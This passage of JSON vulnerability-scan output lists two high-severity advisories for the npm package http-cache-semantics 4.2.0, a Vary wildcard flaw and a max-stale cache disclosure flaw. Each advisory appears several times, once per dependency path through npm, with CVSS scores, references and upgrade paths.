"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
